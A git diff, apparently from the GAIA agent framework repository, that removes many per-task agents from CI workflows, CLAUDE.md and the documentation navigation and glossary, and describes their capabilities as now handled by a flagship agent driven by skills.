'hub/agents/emr/python/gaia_agent_emr/dashboard/electron/**' - 'tests/electron/**' - '.github/workflows/test_electron.yml' merge_group: @@ -142,7 +140,7 @@ jobs: run: | cd tests/electron # Run structure tests for all apps and framework integration - npm test -- test_electron_jira_app.js test_electron_example_app.js test_electron_emr_dashboard.js test_electron_framework_integration.js + npm test -- test_electron_example_app.js test_electron_framework_integration.js - name: Run Agent UI tests run: | @@ -205,15 +203,9 @@ jobs: fail-fast: false matrix: app: - - name: jira - path: src/gaia/apps/jira/webui - has_package_script: true - name: example path: src/gaia/apps/example/webui has_package_script: true - - name: emr-dashboard - path: hub/agents/emr/python/gaia_agent_emr/dashboard/electron - has_package_script: false steps: - uses: actions/checkout@v7 @@ -283,13 +275,6 @@ jobs: exit 1 fi - - name: Validate Electron can be required (EMR Dashboard) - if: matrix.app.name == 'emr-dashboard' - run: | - cd ${{ matrix.app.path }} - # Verify Electron module can be loaded - node -e "require('electron'); console.log('✅ Electron module loads successfully')" - dependency-audit: name: Audit Dependencies runs-on: ubuntu-latest @@ -299,12 +284,8 @@ jobs: package: - name: electron-framework path: src/gaia/electron - - name: jira-app - path: src/gaia/apps/jira/webui - name: example-app path: src/gaia/apps/example/webui - - name: emr-dashboard - path: hub/agents/emr/python/gaia_agent_emr/dashboard/electron steps: - uses: actions/checkout@v7 @@ -342,8 +323,6 @@ jobs: fail-fast: false matrix: app: - - name: jira - path: src/gaia/apps/jira/webui - name: example path: src/gaia/apps/example/webui diff --git a/.github/workflows/test_gaia_cli.yml b/.github/workflows/test_gaia_cli.yml index c19d2ce8f..1b4ef98cc 100644 --- a/.github/workflows/test_gaia_cli.yml +++ b/.github/workflows/test_gaia_cli.yml @@ -9,7 +9,7 @@ name: GAIA CLI Tests (All Platforms) on: # Only run via workflow_call or manual dispatch - # Individual child workflows (test_unit.yml, test_code_agent.yml, etc.) trigger + # Individual child workflows (test_unit.yml, test_chat_agent.yml, etc.) trigger # on push/pull_request independently - this avoids duplicate/conflicting runs workflow_call: workflow_dispatch: @@ -63,13 +63,6 @@ jobs: uses: ./.github/workflows/test_mcp.yml if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - # Test Code Agent functionality - test-code-agent: - name: Code Agent Tests - needs: lint - uses: ./.github/workflows/test_code_agent.yml - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - # Test Chat Agent functionality test-chat-agent: name: Chat Agent Tests @@ -84,34 +77,6 @@ jobs: uses: ./.github/workflows/test_connectors_demo.yml if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - # Test Analyst Agent (standalone hub wheel, #1102) - test-analyst-agent: - name: Analyst Agent Tests - needs: lint - uses: ./.github/workflows/test_analyst_agent.yml - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - # Test Browser Agent (standalone hub wheel, #1102) - test-browser-agent: - name: Browser Agent Tests - needs: lint - uses: ./.github/workflows/test_browser_agent.yml - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - # Test DocQA Agent (standalone hub wheel, #1102) - test-docqa-agent: - name: DocQA Agent Tests - needs: lint - uses: ./.github/workflows/test_docqa_agent.yml - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - # Test Routing Agent (standalone hub wheel, #1102) - test-routing-agent: - name: Routing Agent Tests - needs: lint - uses: ./.github/workflows/test_routing_agent.yml - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - # Test Email Agent (standalone hub wheel, #1102) test-email-agent: name: Email Agent Tests @@ -130,7 +95,7 @@ jobs: test-summary: name: Test Summary runs-on: ubuntu-latest - needs: [lint, unit-tests, test-windows, test-linux, test-mcp, test-code-agent, test-chat-agent, test-connectors-demo, test-analyst-agent, test-browser-agent, test-docqa-agent, test-routing-agent, test-email-agent, test-security] + needs: [lint, unit-tests, test-windows, test-linux, test-mcp, test-chat-agent, test-connectors-demo, test-email-agent, test-security] # Run always except when workflow or any dependency is cancelled (e.g., by cancel-in-progress) if: >- ${{ always() && !cancelled() && @@ -139,7 +104,6 @@ jobs: needs.test-windows.result != 'cancelled' && needs.test-linux.result != 'cancelled' && needs.test-mcp.result != 'cancelled' && - needs.test-code-agent.result != 'cancelled' && needs.test-chat-agent.result != 'cancelled' && needs.test-security.result != 'cancelled' }} steps: @@ -151,7 +115,6 @@ jobs: echo "Windows Tests Status: ${{ needs.test-windows.result }}" echo "Linux Tests Status: ${{ needs.test-linux.result }}" echo "MCP Tests Status: ${{ needs.test-mcp.result }}" - echo "Code Agent Tests Status: ${{ needs.test-code-agent.result }}" echo "Chat Agent Tests Status: ${{ needs.test-chat-agent.result }}" echo "Security Tests Status: ${{ needs.test-security.result }}" echo "" @@ -162,7 +125,6 @@ jobs: "${{ needs.test-windows.result }}" == "skipped" && "${{ needs.test-linux.result }}" == "skipped" && "${{ needs.test-mcp.result }}" == "skipped" && - "${{ needs.test-code-agent.result }}" == "skipped" && "${{ needs.test-chat-agent.result }}" == "skipped" && "${{ needs.test-security.result }}" == "skipped" ]]; then echo "⏭️ All tests skipped (draft PR - add 'ready_for_ci' label to run)" @@ -174,7 +136,6 @@ jobs: "${{ needs.test-windows.result }}" == "skipped" && "${{ needs.test-linux.result }}" == "skipped" && "${{ needs.test-mcp.result }}" == "skipped" && - "${{ needs.test-code-agent.result }}" == "skipped" && "${{ needs.test-chat-agent.result }}" == "skipped" && "${{ needs.test-security.result }}" == "skipped" ]]; then echo "⏭️ Workflow cancelled or lint failed - no integration tests ran" @@ -192,7 +153,6 @@ jobs: check_result "${{ needs.test-windows.result }}" && check_result "${{ needs.test-linux.result }}" && check_result "${{ needs.test-mcp.result }}" && - check_result "${{ needs.test-code-agent.result }}" && check_result "${{ needs.test-chat-agent.result }}" && check_result "${{ needs.test-security.result }}"; then echo "✅ All tests passed!" @@ -200,7 +160,6 @@ jobs: echo "- Windows: Full CLI functionality with Lemonade integration" echo "- Linux: Full CLI functionality with Lemonade integration" echo "- MCP: HTTP-native bridge and protocol compliance" - echo "- Code Agent: Autonomous code generation and modification" echo "- Chat Agent: Session persistence and chat history" echo "- Security: Path validation and shell injection prevention" echo "- Cross-platform: Code quality and compatibility" @@ -211,7 +170,6 @@ jobs: [[ "${{ needs.test-windows.result }}" == "failure" ]] && echo " - Windows tests failed" [[ "${{ needs.test-linux.result }}" == "failure" ]] && echo " - Linux tests failed" [[ "${{ needs.test-mcp.result }}" == "failure" ]] && echo " - MCP tests failed" - [[ "${{ needs.test-code-agent.result }}" == "failure" ]] && echo " - Code Agent tests failed" [[ "${{ needs.test-chat-agent.result }}" == "failure" ]] && echo " - Chat Agent tests failed" [[ "${{ needs.test-security.result }}" == "failure" ]] && echo " - Security tests failed" exit 1 diff --git a/.github/workflows/test_hub_agents.yml b/.github/workflows/test_hub_agents.yml index 2f8f70936..387ac91ba 100644 --- a/.github/workflows/test_hub_agents.yml +++ b/.github/workflows/test_hub_agents.yml @@ -3,13 +3,11 @@ # Runs the test suites that ship inside hub agent packages which have no # dedicated test_*_agent.yml workflow (#1992). Packages with their own -# workflow (analyst, browser, chat, code, docqa, email, routing, mcp-server) -# are intentionally NOT in this matrix. +# workflow (chat, email, gaia, mcp-server) are intentionally NOT in this +# matrix; connectors-demo also has its own workflow (test_connectors_demo.yml). # -# LLM-integration tests inside these suites (summarize's `lemonade`-marked -# tests, blender's `integration`-marked tests) skip cleanly on hosted -# runners — the remaining tests run for real, and every suite is at least -# imported and collected so bit-rot fails loudly. +# Only the teaching-template scaffolds remain here — every suite is at +# least imported and collected so bit-rot fails loudly. name: Hub Agent Package Tests @@ -18,14 +16,7 @@ on: push: branches: [ main ] paths: - - 'hub/agents/blender/python/**' - - 'hub/agents/doc-search/python/**' - - 'hub/agents/docker/python/**' - - 'hub/agents/emr/python/**' - - 'hub/agents/fileio/python/**' - 'hub/agents/hello-world/python/**' - - 'hub/agents/sd/python/**' - - 'hub/agents/summarize/python/**' - 'hub/agents/word-count/python/**' - 'src/gaia/agents/base/**' - 'src/gaia/agents/tools/**' @@ -35,14 +26,7 @@ on: branches: [ main ] types: [opened, synchronize, reopened, ready_for_review] paths: - - 'hub/agents/blender/python/**' - - 'hub/agents/doc-search/python/**' - - 'hub/agents/docker/python/**' - - 'hub/agents/emr/python/**' - - 'hub/agents/fileio/python/**' - 'hub/agents/hello-world/python/**' - - 'hub/agents/sd/python/**' - - 'hub/agents/summarize/python/**' - 'hub/agents/word-count/python/**' - 'src/gaia/agents/base/**' - 'src/gaia/agents/tools/**' @@ -67,14 +51,7 @@ jobs: fail-fast: false matrix: package: - - blender - - doc-search - - docker - - emr - - fileio - hello-world - - sd - - summarize - word-count steps: diff --git a/.github/workflows/test_mcp.yml b/.github/workflows/test_mcp.yml index 2f292d2c7..31b13c70b 100644 --- a/.github/workflows/test_mcp.yml +++ b/.github/workflows/test_mcp.yml @@ -2,7 +2,7 @@ # SPDX-License-Identifier: MIT # This workflow tests the MCP (Model Context Protocol) bridge functionality -# Tests include: HTTP-native bridge, JSON-RPC protocol, Jira integration, and performance +# Tests include: HTTP-native bridge, JSON-RPC protocol, and performance # Platform: Windows and Linux name: MCP Bridge Tests @@ -133,12 +133,7 @@ jobs: Write-Host "Running comprehensive HTTP validation..." python tests/mcp/test_mcp_http_validation.py if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } - - # Run MCP summarize tests - Write-Host "Running MCP summarize tests..." - python tests/mcp/test_mcp_summarize.py - if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } - + Write-Host "✅ All MCP tests passed" shell: pwsh @@ -214,10 +209,6 @@ jobs: echo "Running comprehensive HTTP validation..." python tests/mcp/test_mcp_http_validation.py - # Run MCP summarize tests - echo "Running MCP summarize tests..." - python tests/mcp/test_mcp_summarize.py - echo "✅ All MCP tests passed" - name: Stop MCP Bridge @@ -277,7 +268,6 @@ jobs: echo " ✅ Performance testing with warm-up" echo " ✅ Integration testing" echo " ✅ Cross-platform compatibility (Windows & Linux)" - echo " ⏭️ Jira tests skipped (requires authentication)" else echo "❌ Some MCP tests failed" exit 1 diff --git a/.github/workflows/test_routing_agent.yml b/.github/workflows/test_routing_agent.yml deleted file mode 100644 index 91b7a9077..000000000 --- a/.github/workflows/test_routing_agent.yml +++ /dev/null @@ -1,65 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# Tests the GAIA Routing agent, which ships as the standalone gaia-agent-routing -# wheel (#1102). - -name: Routing Agent Tests - -on: - workflow_call: - push: - branches: [ main ] - paths: - - 'hub/agents/routing/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/registry.py' - - 'src/gaia/api/agent_registry.py' - - 'setup.py' - - '.github/workflows/test_routing_agent.yml' - pull_request: - branches: [ main ] - types: [opened, synchronize, reopened, ready_for_review] - paths: - - 'hub/agents/routing/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/registry.py' - - 'src/gaia/api/agent_registry.py' - - 'setup.py' - - '.github/workflows/test_routing_agent.yml' - merge_group: - workflow_dispatch: - -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - test-routing-agent: - name: Test Routing Agent - runs-on: ubuntu-latest - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - steps: - - uses: actions/checkout@v7 - - - name: Set up Python - uses: actions/setup-python@v7 - with: - python-version: '3.12' - - - name: Install uv - run: curl -LsSf https://astral.sh/uv/install.sh | sh - - - name: Install dependencies - run: | - uv pip install --system -e .[dev] - # RoutingAgent ships as the standalone gaia-agent-routing wheel (#1102) - uv pip install --system -e hub/agents/routing/python - - - name: Run Routing Agent Tests - run: | - python -m pytest hub/agents/routing/python/tests/ -v --tb=short diff --git a/.github/workflows/test_sd.yml b/.github/workflows/test_sd.yml index 53bacac74..9f440cb42 100644 --- a/.github/workflows/test_sd.yml +++ b/.github/workflows/test_sd.yml @@ -16,7 +16,6 @@ on: - '.github/actions/setup-venv/**' - '.github/workflows/test_sd.yml' - "src/gaia/sd/**" # SD mixin and tools - - "hub/agents/sd/python/**" # SD agent (standalone wheel #1102) - "src/gaia/llm/lemonade_client.py" - "src/gaia/cli.py" - "tests/integration/test_sd_integration.py" @@ -30,7 +29,6 @@ on: - '.github/actions/setup-venv/**' - '.github/workflows/test_sd.yml' - "src/gaia/sd/**" # SD mixin and tools - - "hub/agents/sd/python/**" # SD agent (standalone wheel #1102) - "src/gaia/llm/lemonade_client.py" - "src/gaia/cli.py" - "tests/integration/test_sd_integration.py" diff --git a/.github/workflows/test_unit.yml b/.github/workflows/test_unit.yml index fdcae680f..9c949b047 100644 --- a/.github/workflows/test_unit.yml +++ b/.github/workflows/test_unit.yml @@ -162,8 +162,6 @@ jobs: echo " - DatabaseMixin: SQLite database access for agents" echo " - FileWatcher: File system monitoring utilities" echo " - Testing Utilities: MockLLMProvider, MockVLMClient, fixtures" - echo " - EMR Agent: Medical intake form processing" - echo " - EMR CLI: Command-line interface for EMR agent" echo " - LLM Client: Language model client utilities" echo " - ASR: Automatic speech recognition utilities" echo " - TTS: Text-to-speech utilities" diff --git a/CLAUDE.md b/CLAUDE.md index 9827d84fe..887f835c3 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -466,7 +466,6 @@ lemonade-server serve # Start LLM backend gaia llm "Hello" # Test LLM gaia chat # Interactive chat gaia chat --ui # Agent UI (browser-based) -gaia-code # Code agent ``` ### Agent UI Development @@ -490,15 +489,13 @@ gaia/ │ │ ├── builder/ # in-core agent (ChatAgent moved to hub/agents/chat/python/) │ │ ├── code_index/ # CodeIndexToolsMixin — semantic code search (FAISS) │ │ └── registry.py # Agent registry + KNOWN_TOOLS map -│ │ # Packaged agents (code, analyst, browser, fileio, email, summarize, jira, -│ │ # blender, docker, sd, emr, connectors-demo, docqa, routing) live in hub/agents//python/. +│ │ # Packaged agents live in hub/agents//python/: gaia (flagship), +│ │ # chat (its base class), email. Per-task agents were collapsed into +│ │ # skills under hub/skills/. │ ├── api/ # OpenAI-compatible REST API server │ ├── apps/ # Standalone applications │ │ ├── webui/ # Agent UI frontend (React/Vite/Electron) -│ │ ├── jira/ # Jira standalone app │ │ ├── llm/ # LLM standalone app -│ │ ├── summarize/ # Document summarization app -│ │ ├── docker/ # Docker standalone app │ │ ├── example/ # Reference/starter app │ │ └── _shared/ # Shared assets for apps │ ├── audio/ # Audio processing (Whisper ASR, Kokoro TTS) @@ -549,9 +546,7 @@ Defined in [`setup.py`](setup.py) under `console_scripts`: | `gaia` / `gaia-cli` | `gaia.cli:main` | Main CLI — all `gaia ` | | `gaia-mcp` | `gaia.mcp.mcp_bridge:main` | Standalone MCP bridge binary | -The `gaia-emr` console script now ships with the standalone `gaia-agent-emr` hub package (`hub/agents/emr/python/`), not the core wheel. - -`gaia-code` is no longer a core `console_scripts` entry — it ships with the standalone `gaia-agent-code` wheel (`hub/agents/code/python/`, entry point `gaia_agent_code.cli:main`). +`gaia` and `gaia-mcp` are the only console scripts the core wheel ships. ## Architecture @@ -585,24 +580,18 @@ is set in its own `agent.py` (see [Default Models](#default-models)). | Agent | Description | |-------|-------------| -| **ChatAgent** | Multi-profile conversation (chat/doc/file) with RAG — hub (`chat/`) | +| **GaiaAgent** | The flagship — conversation, documents, data, web, memory, skills — hub (`gaia/`) | +| **ChatAgent** | Multi-profile conversation (chat/doc/file) with RAG; the flagship's base class — hub (`chat/`) | +| **EmailTriageAgent** | Email triage for Gmail (local inference; needs the Google connector) — hub (`email/`) | | **BuilderAgent** | Scaffolds new agents from templates — in-core (`builder/`) | -| **DocumentQAAgent** | Standalone document Q&A with RAG — hub (`docqa/`) | -| **RoutingAgent** | Intelligent agent selection (`AGENT_ROUTING_MODEL`) — hub (`routing/`) | -| **CodeAgent** | Code generation with orchestration | -| **AnalystAgent** | Structured data analysis (CSV/Excel, scratchpad SQL) | -| **BrowserAgent** | Web research — search, fetch pages, download | -| **FileIOAgent** | File read/write/edit operations | -| **EmailTriageAgent** | Email triage for Gmail (local inference; needs the Google connector) | -| **SummarizerAgent** | Document/text summarization | -| **JiraAgent** | Jira issue management | -| **BlenderAgent** | 3D scene automation | -| **DockerAgent** | Container management | -| **SDAgent** | Stable Diffusion image generation | -| **MedicalIntakeAgent** | Medical form processing (VLM) — `hub/agents/emr/python/` | -| **ConnectorsDemoAgent** | Per-agent connector activation demo | - -`gaia browse` and `gaia analyze` invoke BrowserAgent and AnalystAgent (see [`src/gaia/cli.py`](src/gaia/cli.py)); `gaia telegram` is a messaging adapter, not an agent. DocumentQAAgent, FileIOAgent, and ConnectorsDemoAgent are internal building-block agents (not standalone CLI commands). DocumentQAAgent and RoutingAgent now ship as standalone `gaia-agent-docqa` / `gaia-agent-routing` hub wheels (`hub/agents/`). + +Per-task agents (code, analyst, browser, fileio, docqa, doc-search, summarize, jira, +docker, blender, sd, emr, routing) were **deleted**: their capability is the flagship's +tool surface driven by a `SKILL.md` in [`hub/skills/`](hub/skills/). Adding a capability +means writing a skill, not shipping an agent. `hub/agents/{hello-world,word-count, +connectors-demo}` remain as teaching templates and are not catalog agents. + +`gaia telegram` is a messaging adapter, not an agent. ### Agent Registry & Tool Mixins @@ -627,9 +616,8 @@ When adding a new tool mixin, register it in `KNOWN_TOOLS` so other agents can c ### Default Models - `gaia llm` default: `Gemma-4-E4B-it-GGUF` (`DEFAULT_MODEL_NAME` in [`src/gaia/llm/lemonade_client.py`](src/gaia/llm/lemonade_client.py)). ChatAgent and EmailTriageAgent explicitly use it too. -- Agents that leave `model_id` unset fall back to `Gemma-4-E4B-it-GGUF` — the base `Agent.__init__` default (`model_id or DEFAULT_MODEL_NAME`). That covers Analyst, Browser, FileIO, plus Code/Builder/Jira/Docker/Routing/DocumentQA/Blender/doc-search/connectors-demo. Every agent shares one model id so switching agents never evicts and cold-reloads the resident model. +- Agents that leave `model_id` unset fall back to `Gemma-4-E4B-it-GGUF` — the base `Agent.__init__` default (`model_id or DEFAULT_MODEL_NAME`). That covers GaiaAgent, ChatAgent, BuilderAgent, and the example templates. Every agent shares one model id so switching agents never evicts and cold-reloads the resident model. - Context window is pinned per device profile, not per agent: `GPU_CTX_SIZE` (65536, GPU/CPU) and `NPU_CTX_SIZE` (32768, the FLM ceiling) in [`src/gaia/llm/lemonade_client.py`](src/gaia/llm/lemonade_client.py). A machine runs one profile, so exactly one `(model, ctx_size)` pair is ever resident. -- Summarizer: `Qwen3-4B-Instruct-2507-GGUF` - Vision: `Gemma-4-E4B-it-GGUF` is the default VLM (VLM mixin + EMR agent); `Qwen3-VL-4B-Instruct-GGUF` also supported - Image generation (SD): `SDXL-Turbo` @@ -644,20 +632,13 @@ All commands are registered in [`src/gaia/cli.py`](src/gaia/cli.py). Run `gaia - - `gaia talk` - Voice interaction - `gaia prompt ""` - Single prompt to LLM (with system-prompt support) - `gaia llm ""` - Simple LLM queries -- `gaia browse` - Web research (search, fetch pages, download) - `gaia knowledge {search|extract|usage}` - Web knowledge via Tavily (search/extract) -- `gaia analyze` - Structured data analysis with scratchpad tables - `gaia email` - Email triage for Gmail (local inference; needs the Google connector) -- `gaia summarize` - Document summarization -- `gaia blender` - Blender 3D agent -- `gaia sd` - Stable Diffusion image generation -- `gaia jira` - Jira integration -- `gaia docker` - Docker management **Servers & infrastructure:** - `gaia daemon` - The headless daemon (one machine-wide custody process; supervises sidecar agents) - `gaia api` - OpenAI-compatible API server -- `gaia mcp {start|stop|status|test|agent|docker|serve|list|tools|test-client}` - MCP bridge (add/remove moved to the connectors framework, #977) +- `gaia mcp {start|stop|status|test|agent|serve|list|tools|test-client}` - MCP bridge (add/remove moved to the connectors framework, #977) - `gaia schedule {add|list|show|remove|pause|resume|run|daemon}` - Run a skill or prompt on a cron schedule - `gaia telegram {start|stop|status}` - Telegram messaging adapter - `gaia connectors` - Manage connectors (Google/GitHub OAuth, MCP servers) and per-agent grants @@ -685,8 +666,6 @@ All commands are registered in [`src/gaia/cli.py`](src/gaia/cli.py). Run `gaia - - `gaia perf-vis` - Visualize performance results **Standalone binaries** (separate `console_scripts`, not subcommands): -- `gaia-code` - CodeAgent entry, from the `gaia-agent-code` wheel (`hub/agents/code/python/gaia_agent_code/cli.py`) -- `gaia-emr` - Medical intake entry (ships with the `gaia-agent-emr` hub package, `hub/agents/emr/python/gaia_agent_emr/cli.py`) - `gaia-mcp` - Standalone MCP bridge binary ## Documentation Index @@ -694,7 +673,7 @@ All commands are registered in [`src/gaia/cli.py`](src/gaia/cli.py). Run `gaia - All docs are `.mdx` (Mintlify). [`docs/docs.json`](docs/docs.json) is the authoritative navigation — consult it rather than a hand-maintained copy here. Where things live: -- **Guides** (`docs/guides/`) — one per feature: chat, agent-ui, browse, analyze, email, talk, code, blender, jira, docker, routing, emr, memory, install, custom-agent, hardware-advisor, npu. +- **Guides** (`docs/guides/`) — one per feature: chat, agent-ui, email, talk, memory, install, custom-agent, hardware-advisor, npu. - **SDK** (`docs/sdk/`) — `core/` (agent-system, tools, console), `sdks/` (chat, agent-ui, rag, llm, vlm, audio), `infrastructure/` (mcp, api-server). - **Reference** (`docs/reference/`) — cli, dev, faq, troubleshooting, eval. - **Specs** (`docs/spec/`), **Deployment** (`docs/deployment/`), **Integrations** (`docs/integrations/`). @@ -739,7 +718,7 @@ scoring. Don't fork it into another file. ## Claude Agents -Specialized agents live in `.claude/agents/` (23 total). Each agent file is the authoritative source for its scope, when-to-use / when-NOT-to-use triggers, and conventions — the summaries below are a pointer, not a replacement. +Specialized agents live in `.claude/agents/` (20 total). Each agent file is the authoritative source for its scope, when-to-use / when-NOT-to-use triggers, and conventions — the summaries below are a pointer, not a replacement. ### Development - **gaia-agent-builder** — Creating a new GAIA agent (Python class). Not for tuning an existing agent's prompt or adding a single tool. @@ -757,15 +736,12 @@ Specialized agents live in `.claude/agents/` (23 total). Each agent file is the ### Specialists - **rag-specialist** — `src/gaia/rag/` and the `rag` tool mixin: chunking, embeddings, retrieval quality. -- **jira-specialist** — `JiraAgent`, JQL templates, Atlassian integration. -- **blender-specialist** — `BlenderAgent` and the Blender MCP server/client pair. - **voice-engineer** — Whisper ASR, Kokoro TTS, Talk SDK, real-time audio. - **lemonade-specialist** — Lemonade Server / provider adapter, NPU/GPU optimisation, model selection. - **prompt-engineer** — System prompts, tool docstrings, eval-judge prompts inside GAIA. ### Infrastructure - **frontend-developer** — React/Vite/Electron Agent UI and standalone apps. -- **docker-specialist** — Dockerfiles, compose, and the `DockerAgent`. - **github-actions-specialist** — `.github/workflows/` authoring and debugging. - **github-issues-specialist** — Agent-ready issues/PRs, `AGENTS.md`, repo setup for AI agents. - **release-manager** — Version bumps, changelog, publish/PyPI/installer workflows. diff --git a/docs/docs.json b/docs/docs.json index 039b69641..a39e8830e 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -87,17 +87,13 @@ "pages": [ "guides/gaia", "guides/chat", - "guides/talk", - "guides/browse", - "guides/analyze" + "guides/talk" ] }, { "group": "Developer Tools", "pages": [ - "guides/code", - "guides/code-index", - "guides/docker" + "guides/code-index" ] }, { @@ -105,17 +101,7 @@ "pages": [ "guides/email", "guides/email-integration", - "guides/telegram-adapter", - "guides/jira" - ] - }, - { - "group": "Specialized Agents", - "pages": [ - "guides/sd", - "guides/blender", - "guides/emr", - "guides/routing" + "guides/telegram-adapter" ] }, { @@ -168,12 +154,6 @@ "playbooks/hardware-advisor/index" ] }, - { - "group": "Image Generation Agent", - "pages": [ - "playbooks/sd-agent/index" - ] - }, { "group": "Document Q&A Agent", "pages": [ @@ -182,22 +162,6 @@ "playbooks/chat-agent/part-3-deployment" ] }, - { - "group": "Code Generation Agent", - "pages": [ - "playbooks/code-agent/part-1-introduction", - "playbooks/code-agent/part-2-app-creation", - "playbooks/code-agent/part-3-validation-building" - ] - }, - { - "group": "Medical Intake Agent", - "pages": [ - "playbooks/emr-agent/part-1-getting-started", - "playbooks/emr-agent/part-2-dashboard", - "playbooks/emr-agent/part-3-architecture" - ] - }, { "group": "Custom Installer", "pages": [ @@ -245,7 +209,6 @@ { "group": "Agents", "pages": [ - "sdk/agents/routing", "sdk/agents/specialized", "sdk/agents/talk" ] @@ -254,7 +217,6 @@ "group": "Mixins & Utilities", "pages": [ "sdk/mixins/tool-mixins", - "sdk/mixins/code-mixins", "sdk/mixins/database-mixin", "sdk/utils/file-watcher" ] @@ -263,7 +225,6 @@ "group": "Guides", "pages": [ "sdk/packaging", - "sdk/applications", "sdk/configuration", "sdk/testing", "sdk/performance-analysis-plotter", @@ -325,9 +286,6 @@ { "group": "Code Infrastructure", "pages": [ - "spec/code-models", - "spec/orchestrator", - "spec/validators", "spec/prompts" ] }, @@ -335,22 +293,11 @@ "group": "Tool Mixins", "pages": [ "spec/database-mixin", - "spec/cli-tools-mixin", - "spec/code-tools-mixin", "spec/file-io-tools-mixin", - "spec/validation-tools-mixin", - "spec/error-fixing-mixin", - "spec/testing-mixin", "spec/file-tools-mixin", "spec/rag-tools-mixin", "spec/shell-tools-mixin", "spec/file-search-mixin", - "spec/code-formatting-mixin", - "spec/project-management-mixin", - "spec/prisma-tools-mixin", - "spec/typescript-tools-mixin", - "spec/external-tools-mixin", - "spec/web-tools-mixin", "spec/browser-tools", "spec/file-system-agent" ] @@ -365,12 +312,7 @@ "group": "Agents & Apps", "pages": [ "spec/mcp-agent", - "spec/routing-agent", "spec/chat-agent", - "spec/docker-agent", - "spec/jira-agent", - "spec/blender-agent", - "spec/summarizer-app", "spec/component-status" ] } diff --git a/docs/glossary.mdx b/docs/glossary.mdx index 148133cb1..5ce104756 100644 --- a/docs/glossary.mdx +++ b/docs/glossary.mdx @@ -21,7 +21,7 @@ This glossary defines technical terms, acronyms, and concepts used throughout th A shell script that activates a Python virtual environment, making its packages available in the current terminal session. ### Agent -An AI system that can autonomously plan, reason, and use tools to accomplish tasks. In GAIA, agents extend the base `Agent` class, register tools via `_register_tools()`, and follow an iterative loop: think about the task, act by calling tools, observe results, and reason about next steps. Built-in agents include ChatAgent, CodeAgent, JiraAgent, and BlenderAgent. See also: Agent Loop, Tool, Mixin. +An AI system that can autonomously plan, reason, and use tools to accomplish tasks. In GAIA, agents extend the base `Agent` class, register tools via `_register_tools()`, and follow an iterative loop: think about the task, act by calling tools, observe results, and reason about next steps. Built-in agents include GaiaAgent (the flagship), ChatAgent, and EmailTriageAgent. See also: Agent Loop, Tool, Mixin. ### Agent Loop The cyclic process an agent follows: thinking about the task, acting by calling tools, observing the results, and reasoning about next steps. @@ -53,12 +53,6 @@ A segment of audio data processed at one time, typically measured in millisecond ### Audio Device Index A numerical identifier for microphone or speaker hardware used by audio processing libraries. -### ATLASSIAN_API_KEY -Environment variable containing the API token for authenticating with Atlassian Jira. Required for JiraAgent operations. - -### Auto-Discovery -The automatic detection and configuration of external service capabilities. Used by JiraAgent to discover available projects, issue types, statuses, and priorities from a Jira instance. - ### AWQ (Activation-Aware Weight Quantization) An advanced quantization technique that reduces model size while preserving accuracy by considering activation patterns. @@ -72,9 +66,6 @@ The root address of an API server (e.g., `http://localhost:8080`), used as the f ### Batch Experiment Running evaluation tests on multiple inputs simultaneously to measure AI performance across diverse scenarios. -### BlenderAgent -GAIA's specialized agent for 3D content creation and Blender automation. Communicates with Blender via MCP to create objects, apply materials, and manage scenes through natural language commands. - --- ## C @@ -103,9 +94,6 @@ The number of tokens in each piece when splitting text for processing, typically ### CLI (Command Line Interface) A text-based interface for interacting with software through terminal commands, such as `gaia chat` or `gaia talk`. -### CodeAgent -GAIA's specialized agent for full-stack Next.js application generation. Creates complete projects with Prisma data models, REST API routes with Zod validation, React pages with Tailwind styling, and iterative TypeScript error fixing. - ### Command-line Parameter Arguments passed to commands when executing them, such as `--model` or `--debug`. @@ -153,7 +141,7 @@ Monitoring API usage and associated costs, especially important when using cloud A verbose logging setting that provides detailed information about system operations for troubleshooting. ### Disambiguation -The process of clarifying ambiguous user requests through follow-up questions. The RoutingAgent uses disambiguation to determine programming language and project type when not specified. +The process of clarifying ambiguous user requests through follow-up questions when the agent's confidence in a plan of action is low. ### Document Chunking The process of splitting large documents into smaller, manageable pieces for processing by LLMs or embedding models. @@ -257,11 +245,8 @@ The folder where GAIA and its dependencies are installed on your system. ## J -### JiraAgent -GAIA's specialized agent for Atlassian Jira integration. Provides natural language interface for searching, creating, and updating issues via the Jira REST API with auto-discovery of project configuration. - ### JQL (Jira Query Language) -A domain-specific query language for searching Jira issues. JiraAgent translates natural language queries into JQL for execution. +A domain-specific query language for searching Jira issues. ### JSON Schema A standard format for describing the structure and validation rules of JSON data, used for tool parameter definitions. @@ -277,9 +262,6 @@ A lightweight, high-quality text-to-speech engine used by GAIA for voice output ## L -### Language Detection -The RoutingAgent's ability to identify programming languages and frameworks from natural language prompts, used to configure specialized agents appropriately. - ### Lemonade Server AMD's optimized LLM serving platform providing hardware-accelerated inference on Ryzen AI processors. Supports NPU/iGPU hybrid mode, model management, and an OpenAI-compatible API. Start with `lemonade-server serve`. Required for most GAIA operations. See also: NPU, Hybrid Mode, LEMONADE_BASE_URL. @@ -306,7 +288,7 @@ The number of conversation pairs retained in chat history before older messages The maximum length of an LLM response, measured in tokens. ### MCP (Model Context Protocol) -A standardized protocol for integrating AI agents with external tools and services. Enables GAIA 